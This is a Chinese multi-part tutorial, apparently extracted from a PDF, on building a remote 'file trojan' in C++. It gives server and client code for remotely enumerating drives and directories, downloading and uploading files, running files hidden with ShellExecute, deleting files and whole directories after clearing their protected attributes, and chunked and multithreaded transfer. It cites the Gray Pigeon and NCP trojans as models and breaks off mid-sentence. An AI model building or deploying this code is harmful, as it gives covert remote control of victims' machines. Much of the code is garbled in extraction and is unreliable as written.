C+实现文件传输

1、C+实现文件传输之一：框架结构和界面实现在木马中文件管理的重要性，是无需质疑的，对于文件的管理，做到并不难，但做 好却也不易在我们编写一个功能完整的“文件木马”其实现效果如图所示。为了文章的完整性，我们将分为数篇来介绍，本文主要介 绍程序的整体框架和界面实现，在以后的文章中将以此框架为基础实现详细的功实现：枚举磁盘，枚举目录，获取文件信息上传文件，下载文件，执行文件，创建目录，删除目录等传输控制结构要实现客户端与服务端的通信，设计一个合理的传输控制结构，会使后面的工作 轻松很多，为了使代码易读首先对要使用的命令进行预定义其各个命令定义如下#defi ne GetDriver 0x01 /磁盘信

2、息#defi ne GetDirl nfo 0x02 /目录信息#defi ne ExecFile 0x03 /执行文件#defi ne GetFile 0x04 /下载文件#defi ne PutFile 0x05 /上传文件#defi ne DelFile 0x06 /删除文件#defi ne DelDir 0x07 /删除目录#defi ne CreateDir 0x08 /创建目录#defi ne FileI nfo 0x09 /文件信息#defi ne GetScreen 0x10 /查看屏幕在程序的网络通信中主要有操作命令,命令对像，和具体数据三部分，对于命令的传输定义如下结构ty

3、pedef structint ID; /操作命令BYTE lparamBUF_LEN*2; / 命令对像COMMAND;因为在程序中打交道最多的就是文件 , 对文件的详细属性定义如下结构typedef structchar FileNameMAX_PATH; / 文件名称int FileLen; / 文件长度char Time50; / 时间信息BOOL IsDir; / 为目录否BOOL Error; / 错误信息HICON hIcon; / 图标句柄FILEINFO;服务端结构 服务端还是比较简单的其整体思路如下1. 服务端循环接受连接 , 并把连接交给线程处理2. 线程接受命令数据,并

4、跟据命令ID将命令对像和SOCKE句柄传给处理函数3. 函数执行指定功能 , 并返回执行结果对整体结构的描述 , 我们用伪代码表述如下main() /* 初示化设置 */while(true)if(client=accept(server,(sockaddr *)&clientaddr,&len)/循环接受连接CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);/ 传递 线程处理/* 清理释放资源 */WSACleanup();服务端程序运行后循环接受连接 , 如果有新的连接就传递给新的线程处理 , 线程 代码如下DWORD WINA

5、PI SLisen(LPVOID lparam)SOCKET client=(SOCKET)lparam;COMMAND command;while(1)if(recv(client,(char*)&command,sizeof(command),0)=SOCKET_ERROR)/ 接 受命令数据coutThe Clinet Socket is Closed/n;break;elseswitch(command.ID)/ 判断命令 IDcase GetDriver:/ 将命令对像和SOCKE句柄传递给处理函数GetDriverProc (command,client); break;case

6、DelFile:DelFileProc (command,client);break;/* 其它命令 */线程式的功能是接受客户端的 命令数据 , 并跟跟据命令 ID 将命令对像传递给 处理函数 , 由函数完成指定的功能以删除文件命令为例其函数格式如下DWORD DelFileProc (COMMAND command,SOCKET client)if(DeleteFile(char*)command.lparam)=0)/command.lparam为命令对像 ,这里为要删除的文件路径send(client,删除失败 .);elsesend(client,删除成功 .);很容易看出,处理函数

7、接受命令对像和客户端SOCKE句柄,执行后会把结果传 递回去 客户端结构 客户端结构的实现思路如下1. 跟服务端建立连接2. 发送用户命令3. 启动一个线程 ,用于接受服务端的返回信息对整体结构的描述 , 我们用伪代码表述如下void CMyDlg:OnConnect()if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr)0)/ 连 接 return ;CreateThread(NULL,NULL,CLisen,this,NULL,NULL);/ 创 建 线 程 用 于 接 受SERVE返回信息对于用户发送的命令我们仍以删除文件

8、为例说明其代码如下void CMyDlg:OnMenuDelFile()HTREEITEMCurrentNode = m_tree.GetSelectedItem(); / 取得选择的节点 CString FullPath =GetFullPath(CurrentNode); /取得节点全目录COMMAND command;command.ID=DelFile; / 设置命令为删除文件 / 删除文件 command.lparam=FullPath.LockBuffer(); / 将路径加入命令对像 send(server,command);用于接受SERVE返回信息的线程，和服务端接受命令线程

9、相似，这里就不再说 明了，有兴趣可以看下源代码到这里程序的流程框架就介绍完了，下面我们再看一下程序的界面设置 .界面实现程序的主界面如上图所示，主程序是一个对话框，主要包括一个树控件 m_tree 和列表控件 m_list 分别 用于显示磁盘目录和文件，在对话框初示化时用以下代码设置树控件的属性DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWi ndowLo ng(m_tree.m_hWnd,GWL_STY

10、LE,dwStyle);对于列表框控件则没有太多要求，要留意的是，如果显示图标应该把Styles显示属性设置为ICONVC的做出的界面，常常让人有种摔键盘的冲动。其实稍微留意一下其设置，也 可以让它漂亮一些比如上图所示的界面就是经过简单设置得到的，而没有用其它类库，有点兴趣？其设置方法为：1. 在对话框属性中设置 Styles的Border属性为Th in2. 选重More Styles 可见属性3. 选重Extended Styles 的静态边属性这样再运行一下程序是不是感觉清新不少 ？到这里程序的主要结构框架和界面实现就介绍完了， 下一篇将详细介绍其各种功 能的实现C+实现文件传输之二在上

11、一篇中，我们以经介绍了程序的流程和框架，在本篇将详细讨论各个功能的 实现主要包括1. 获取磁盘信息2. 获取目录信息3. 获取文件信息4. 运行指定文件5. 删除指定文件6. 删除指定目录7. 创建指定目录8. 上传下载文件9. 获取远程文件图标 获取磁盘信息磁盘信息可以用API GetDriveType来实现,它以路径名作为参数（如C:/）返回磁 盘类型,其实例代码如下DWORD GetDriverProc(COMMAND comma nd,SOCKET clie nt) for(char i=A;i=Z;i+)char x20=i,:;UINT Type=GetDriveType(x);i

12、f(Type=DRIVE_FIXED|Type=DRIVE_REMOVABLE|Type=DRIVE_CDROM) /* 返回处理结果 .*/return 0;GetDriveType 可能返回的结果如下#define DRIVE_UNKNOWN 0 / 无效路径名#define DRIVE_NO_ROOT_DIR 1 / 无效路经，如无法找到的卷标#define DRIVE_REMOVABLE 2 / 可移动驱动器#define DRIVE_FIXED#define DRIVE_REMOTE#define DRIVE_CDROM#define DRIVE_RAMDISK3 / 固定的驱动器4

13、 / 网络驱动器5 / CD-ROM6 / 随机存取（RAM磁盘在上面的实例代码中我们只取, 硬盘 , 光驱和移动磁盘获取目录信息 这里只要枚举用户指定的目录就可以了 , 其实例代码如下 :DWORD GetDirInfoProc(COMMAND command,SOCKET client)/*command为要枚举的路径如(C:/)client为返回结果的SOCKE句柄*/FILEINFO fi;memset(char*)&fi,0,sizeof(fi);strcat(char*)command.lparam,*.*);/枚举所有文件CFileFind file;BOOL bContinue

14、 = file.FindFile(char*)command.lparam); while(bContinue)memset(char*)&fi,0,sizeof(fi);bContinue = file.FindNextFile();if(file.IsDirectory() / 为目录fi.IsDir=true;strcpy(fi.FileName,file.GetFileName().LockBuffer(); / 保存文件名称if(send(client,(char*)&fi,sizeof(cmd),0)=SOCKET_ERROR)cout Send Dir is Error/n;re

15、turn 0;获取文件信息以下实例代码用来获取 文件的名称 ,路径, 时间, 属性等信息DWORD FileInfoProc (COMMAND command,SOCKET client)/*command为要查看的文件如(C:/TEST.EXE)client 为返回结果的SOCKE句柄*/FILEINFO fi;HANDLE hFile;WIN32_FIND_DATA WFD;memset(char*)&WFD,0,sizeof(WFD); if(hFile=FindFirstFile(char*)command.lparam,&WFD)=INVALID_HANDLE_VALUE) / 查看

16、文件属性fi.Error=true;return 0;/ 得到文件的相关信息SHGetFileInfo(WFD.cFileName,FILE_ATTRIBUTE_NORMAL,&shfi, sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );strcpy(fi.FileName,(char*)command.lparam); /文件路径FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; / 文 件长 度fi.FileLen=FileLen;/ 转化

17、格林时间到本地时间FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime);/ 文件修改时间 sprintf(stime,%4d-%02d-%02d %02d:%02d:%02d, systime.wYear,systime.wMonth,systime.wDay,systime.wHour, systime.wMinute,systime.wSecond);if(GetFileAttributes(char*)command.lparam)&FILE_

18、ATTRIBUTE_HIDDEN)/* 隐藏文件 .*/else if(GetFileAttributes(char*)command.lparam)&FILE_ATTRIBUTE_READONLY) /* 只读文件 .*/ send(client,(char*)&fi,sizeof(fi),0); FindClose(hFile);return 0;运行指定文件运行文件 有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess这里使用的是 ShellExecute 其实例代码如下DWORD ExecFileProc (COMMAND command,S

19、OCKET client)/*command 为要运行的文件路径如 (C:/TEST.EXE)client 为返回结果的 SOCKET 句柄 */COMMAND cmd; memset(char*)&cmd,0,sizeof(cmd);cmd.ID=ExecFile;if(ShellExecute(NULL,open,(char*)command.lparam,NULL,NULL,SW_HIDE) (HINSTANCE)32) strcpy(char*)cmd.lparam, 文件执行失败 !); send(client,(char*)&cmd,sizeof(cmd),0);else strc

20、py(char*)cmd.lparam, 文件执行成功 !); send(client,(char*)&cmd,sizeof(cmd),0);return 0; API 函数 ShellExecute 原形为：HINSTANCE ShellExecute( HWND hwnd,LPCTSTR lpOperation, /LPCTSTR lpFile,LPCTSTR lpParameters,LPCTSTR lpDirectory, / INT nShowCmd );/ 窗口句柄操作类型/ 文件指针 / 文件参数 缺省目录/ 显示方式这是一个相当有意思的函数 , 在调用此函数时只须指定要执行的文

21、件名 , 而不必 管用什么程序去打开或执行文件，WINDOWS自动根据要打开或执行的文件去判断该如何执行文件或 用什么程序去打开文件 , 如果要求不高的话比CreateProcess要好用的多,如果想做出像NCP和灰鸽子那样带 参数执行的话 , 其实也不难只要指定 lpParameters 为执行参数就可了删除指定文件DWORD DelFileProc (COMMAND comma nd,SOCKET clie nt)/*command 为要删除的文件路径如 (C:/TEST.EXE)client 为返回结果的 SOCKET 句柄 */COMMAND cmd; memset(char*)&cm

22、d,0,sizeof(cmd);cmd.ID=DelFile;SetFileAttributes(char*)command.lparam,FILE_ATTRIBUTE_NORMAL); / 去 掉文件的系统和隐藏属性if(DeleteFile(char*)command.lparam)=0)strcpy(char*)cmd.lparam, 文件删除失败 !); send(client,(char*)&cmd,sizeof(cmd),0);elsestrcpy(char*)cmd.lparam, 文件删除成功 !); send(client,(char*)&cmd,sizeof(cmd),0)

23、;return 0;需要注意的是在 DeleteFile 前应该去文件的系统和隐藏属性 , 否则会删除失败删除目录可以用 RemoveDirectory 函数删除目录 , 但是 RemoveDirectory 有个缺点就是只 能删除为空的的目录 , 对于不为空的目录就无能为力了 , 想要删除不无空的目录可以使用下面的实例代码BOOL DeleteDirectory(char *DirName)CFileFind tempFind;char tempFileFind200; sprintf(tempFileFind,%s*.*,DirName);BOOL IsFinded=(BOOL)tempF

24、ind.FindFile(tempFileFind); while(IsFinded) IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()char foundFileName200; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200); if(tempFind.IsDirectory()char tempDir200; sprintf(tempDir,%s/%s,DirName,foundFileName); DeleteDirectory(tempDir)

25、;elsechar tempFileName200; sprintf(tempFileName,%s/%s,DirName,foundFileName);SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); / 去掉文件的系 统和隐藏属性DeleteFile(tempFileName);cout now delete tempFileName0)int ret=send(client,&dateidx,nLeft,0); /if(ret=SOCKET_ERROR)break;nLeft-=ret;idx+=ret;分配和文件长度相同的缓冲

26、区读整个文件到缓冲区发送文件file.Close();delete date;跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法 , 虽然很简单但 用它传输小文件还是非常实用的大文件传输方法 用上面的方法传输小文件还可以，但是大文件呢？比如一个500M的电影.上面的 方法就会力不从心了因为按思路要创建一个跟文件大小相同的缓冲区 , 显然这是不太现实的 , 我们就得采 用另种方法了 , 在这里我们使用分块文件传输 , 所谓分块是指把大文件分成若干小文件 , 然后传输 , 比如设定每块 大小为64KB其思路如下1. 取得文件长度和名称2. 跟据长度/64KB计算文件块数3. 分配64KB缓冲

27、区4. 读文件到缓冲区5. 发送缓冲的数据6. 重复 4,5 两步直到发完所有数据其实现代码如下 :#define CHUNK_SIZE (64*1024) / 分为 64K块传输DWORD GetFileProc (COMMAND command,SOCKET client) /*command 为要下载文件的路径如 (C:/TEST.EXE)client 为发送文件的 SOCKET 句柄*/COMMAND cmd;FILEINFO fi; memset(char*)&fi,0,sizeof(fi); memset(char*)&cmd,0,sizeof(cmd);cmd.ID=GetFil

28、e;CFile file;int nChunkCount=0; / 文件块数if(file.Open(char*)command.lparam,CFile:modeRead|CFile:typeBinary)/ 打开文件int FileLen=file.GetLength(); /取文件长度fi.FileLen=file.GetLength();strcpy(char*)fi.FileName,file.GetFileName(); /取文件名称memcpy(char*)&cmd.lparam,(char*)&fi,sizeof(fi);send(client,(char*)&cmd,size

29、of(cmd),0); /发送文件名称和长度nChunkCount=FileLen/CHUNK_SIZE; / 文件块数if(FileLen%nChunkCount!=0) nChunkCount+; char *date=new charCHUNK_SIZE; / 创建数据缓冲区 for(int i=O;iO)int ret=send(client,&dateidx,nLeft,O);/发送文件if(ret=SOCKET_ERROR)break;nLeft-=ret;idx+=ret;file.Close();delete date;return O;这样文件传输部分就完成了 , 止于客户端

30、的实现于上面代码其本相同 ,只是由读 文件变为写文件 , 详细请参考源代码 获取远程 ICO 文件图标我们在文件列表框中需要显示文件的图标， 但远程文件的 ICO 图标是无法直接得 到的猛若RADMINI洞者也没有到（对于EXE文件只显示可执行程序图示）,当然了也 不见的决对没有 我们可以通过如下变通方法得到： 就是跟据文件的扩展名， 从本地注册表中查找 对应的程序图标 不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能 显示注册过的图示比如，如果本机装有WINRA那么就可以识别.RAR的文件图示，否则就无法识别 实现方法ClmageList m_lmageList;mm

31、 ageList.Create(32,32,ILC_COLOR32,10,30); /创建图示mist.SetlmageList(&mm ageList,LVSIL_NORMAL); /与列表控件相关连SHFILEINFO info;memset(char* )&in fo,0,sizeof(i nfo);SHGetFileI nfo(fi-FileName,0,&in fo,sizeof(&in fo),SHGFICON|SHGFl_USEFILEATTRIBUTES);关键所在int i = m_lmageList.Add(i nfo.hlc on);m_l ist.l nsertItem

32、(i,fi-FileName,i);原来我试图在Server端通过上面的代码把info.hlcon句柄保存下来，然后放到Client，在单台电脑上很好使，但Server在另一台电脑上时就玩完了，因为info.hlcon 里保存的句柄是个索引而 每台机器上的索引是不相同的所以直接导致的结果就是：什么也显示不出来.C+实现文件传输之三：断点续传与多线程传输转继木马编程DIY的上两篇，现在我们开始讨论断点续传与多线程文件传输的实现其实这两项功能是下载软件所必不可少的功能了，现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者洪以容前辈致敬，正是由于网络蚂蚁而使得多线程下载被关

33、注并流行起来在这本篇文章中我们将简单的实现支持断点续传和多线程传输的程序为了更清晰的说明问题，我们将断点续传与 多线程传输分别用两个程序来实现多线程传输实现实现原理将源文件按长度为分为N块文件，然后开辟N个线程,每个线程传输一块，最后合 并所有线线程文件比如一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M 最后合并5个线程文件.实现流程1. 客户端向服务端请求文件信息 （名称, 长度）2. 客户端跟据文件长度开辟N个线程连接服务端3. 服务端开辟新的线程与客户端通信并传输文件4. 客户端将每线程数据保存到一个文件5. 合并所有线程文件 编码实现

34、大体说来就是按以上步骤进行 ,详细的实现和一些要点 , 我们跟据以上流程在编 码中实现 结构定义在通信过程中需要传递的信息包括文件名称 ,文件长度,文件偏移,操作指令等信 息, 为了方便操作我们定义如下结构 代码:typedef structcharName100;/ 文件名称intFileLen;/ 文件长度intCMD;/ 操作指令int seek;/ 线程开始位置SOCKET sockid;FILEINFO;1. 请求文件信息客户端代码如下 代码:FILEINFO fi; memset(char*)&fi,0,sizeof(fi);fi.CMD=1;/ 得到文件信息if(send(cli

35、ent,(char*)&fi,sizeof(fi),0)=SOCKET_ERROR) coutSend Get FileInfo Error/n;服务端代码如下while(true)SOCKET client;if(client=accept(server,(sockaddr)&clientaddr,&len)FILEINFO RecvFileInfo;memset(char*)&RecvFil eInfo,0,sizeof(RecvFileInfo);if(recv(client,(char*) &RecvFileInfo,sizeof(RecvFileInfo),0)=SOCKET_ERR

36、OR) cout The Clinet Socket is Closed/n;break;elseEnterC riticalSection(&CS); / 进入临界区 memcpy (char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo);switch (TempFileInfo.CMD)case 1:GetInfoProc (client);break;case 2:TempFileInfo.sockid=client;CreateThread(NULL,NULL,GetFileProc,NULL, NULL,NULL);

37、break;LeaveC riticalSection(&CS); / 离开临界区在这里服务端循环接受连接 , 并跟据 TempFileInfo.CMD 来判断客户端的请求类 型 ,1 为请求文件信息 ,2 为下载文件因为在下载文件的请求中 , 需要开辟新的线程 , 并传递文件偏移和文件大小等信 息,所以需要对线程同步 . 这里使用临界区其文件信息函数 GetInfoProc 代码如下 代码:DWORD GetInfoProc(SOCKET client) CFile file;if(file.Open(FileName,CFile:modeRead|CFile:typeBinary)int

38、FileLen=file.GetLength();if(send(client,(char*)&FileLen,sizeof( FileLen),0)=SOCKET_ERROR) cout Send FileLen Error/n;elsecout The Filelen is FileLen/n/n; return 0;这里主要是向客户端传递文件长度 , 而客户端收到长度后则开辟线程进行连接传 输文件2. 客户端跟据长度开辟线程 其实现代码如下代码:FILEINFO FI; int FileLen=0; if(recv(client,(char*)&FileLen,sizeof(FileLe

39、n),0)=SOCKET_ERROR)接受文件长度coutRecv FileLen Error/n;else coutFileLen is FileLen/n;int COUNT_SIZE=FileLen/5;/ 每线程传输大小for(int i=0;i0) int ret=send(client,&dateidx,nLeft,0);if(ret=SOCKET_ERROR) coutSend Date Error /n;break;nLeft-=ret; idx+=ret;file.Close();delete date;elsecoutopen the file error/n;closes

40、ocket(client);return 0;还是比较简单的 ,主要是获取线程的文件长度和偏移 , 并移动文件指针到偏移处 , 最后读取发送数据 , 而客户端 接受数据并写入文件 .4. 客户端将线程数据保存到文件GetFileThread 的实现代码如下代码:DWORD WINAPI GetFileThread(LPVOID lparam)char TempNameMAX_PATH;sprintf(TempName,TempFile%d,*(DWORD*)lparam);/每线程的文件名为TempName线程数SOCKET client;SOCKADDR_IN serveraddr;int

41、port=5555;client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);serveraddr.sin_family=AF_INET;serveraddr.sin_port=htons(port);serveraddr.sin_addr.S_un.S_addr=inet_addr(127.0.0.1);if(connect(client,(SOCKADDR*)&serveraddr,sizeof(server addr)=INVALID_SOCKET)coutConnect Server Error/n;EnterCriticalSection(&CS)

42、;/ 进入临界区if(send(client,(char*)&FI,sizeof(FI),0)=SOCKET_ERROR)cout0)int ret=recv(client,&dateidx,nLeft,0);if(ret=SOCKET_ERROR) coutRecv Date Error;break; idx+=ret; nLeft-=ret;file.Write(date,FileLen); file.Close(); delete date;elsecoutCreate File Error/n;return 0;在此线程函数中,将每线程传输的数据存为一个文件,文件名为TempName线

43、程 数, 只所以存成单独的文件是因为比较直观且容易理解 , 但如果文件很大的话这个方法并不好 , 因为合并文件 又会花费很多时间 , 另一个方法是 创始一个文件 , 让每个线程写入文件的不同偏移 , 这样就可以不必单独合并文 件了 , 但要记得打开文件时加入 CFile:shareDenyNone 属性. 这样整个过程就完成了 .最后一步合并线程文 件5. 合并线程文件 代码:int UniteFile()/ 合并线程文件coutNow is Unite Fileing./n;intlen;char*date;CFilefile;CFilefile0;/* 其它文件 */if(file.Ope

44、n(FileName,CFile:modeCreate|CFile:typeBin ary|CFile:modeWrite)/ 创建文件file0.Open(TempFile0,CFile:modeRead|CFile:typeBinary);/合并第一线程文件len=file0.GetLength();date=new charlen;file0.Read(date,len);file.SeekToEnd();file.Write(date,len);file1.Open(TempFile1,CFile:modeRead|CFile:typeBi nary);/合并第二线程文件le n=fi

45、le1.GetLe ngth(); date=new charle n; file1.Read(date,le n); file.SeekToE nd(); file.Write(date,le n);/*合并其它线程.*/fileO.CIose();file1.Close();delete date;return true;elsereturn false;这个简单,就是打开一个文件读取到缓冲区,写入文件，再打开第二个 现在 多线程传输部分就介绍完了下面讨论断断点续传的实现C+实现文件传输之四：断点传输所谓的断点续传就是指：文件在传输过程式中被中断后，在重新传输时，可以从上 次的断点处开始传输，这样就可节省时间，和其它资源.实现关键在这里有两个关键点，其一是检测本地已经下载的文件长度和断点值,其二是在服务端调整文件指针到断点处实现方法我们用一个简单的方法来实现断点续传的功能.在传